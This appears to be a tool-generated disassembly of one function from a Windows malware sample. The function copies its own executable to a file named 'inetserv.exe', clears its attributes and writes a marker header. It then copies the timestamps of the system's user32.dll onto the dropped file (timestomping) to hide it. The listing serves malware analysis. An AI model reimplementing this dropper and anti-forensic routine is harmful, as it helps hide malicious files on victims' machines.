Function at 0x4018b3
Capabilities:
Copy file
Get common file path
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
and dword [ebp - 0x10], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4018c9
mov esi, 0x41361c
mov eax, str.inetserv.exe
movsw word es:[edi], word [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018df
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4018eb
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x58]
push eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.004017d1
add esp, 0xc
test eax, eax
je 0x401937
push 4
pop eax
cmp ax, word [ebp - 8]
jne 0x401937
mov edx, 0x417010
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401928
jmp 0x401acc
push 0x400
lea eax, [ebp - 0x564]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401957
xor eax, eax
jmp 0x401acf
push 0x80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push ebx
lea eax, [ebp - 0x564]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401950
push esi
push esi
push 3
push esi
push esi
push 4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401950
push 4
pop ecx
mov word [ebp - 0x28], cx
mov ecx, dword [0x416ff8]
mov dword [ebp - 0x26], ecx
mov cx, word [0x416ffc]
mov word [ebp - 0x22], cx
mov cx, word [0x416ffe]
mov word [ebp - 0x20], cx
mov ecx, dword [0x417000]
mov dword [ebp - 0x1e], ecx
mov ecx, dword [0x417004]
push 0
mov dword [ebp - 0x1a], ecx
lea ecx, [ebp - 0x40]
push ecx
push 0x16
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 0x2c], 0xbadbabe
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401a8c
mov eax, dword [ebp + 8]
mov edx, 0x417010
sub edx, eax
mov dword [ebp - 0x14], edx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4019f6
push 0x104
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401a8c
lea edi, [ebp - 0x164]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401a24
mov esi, 0x41361c
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x164]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401a3a
push 0
mov esi, str.user32.dll
movsd dword es:[edi], dword [esi]
push 0x2000000
push 3
movsd dword es:[edi], dword [esi]
push 0
push 3
movsw word es:[edi], word [esi]
push closesocket
lea eax, [ebp - 0x164]
push eax
movsb byte es:[edi], byte [esi]
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401a8c
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
test eax, eax
jne 0x401a9a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
jmp 0x401acf
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 0xc]
call esi
mov eax, dword [ebp + 8]
mov cl, byte [eax]
mov edx, dword [ebp - 0x14]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401abf
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret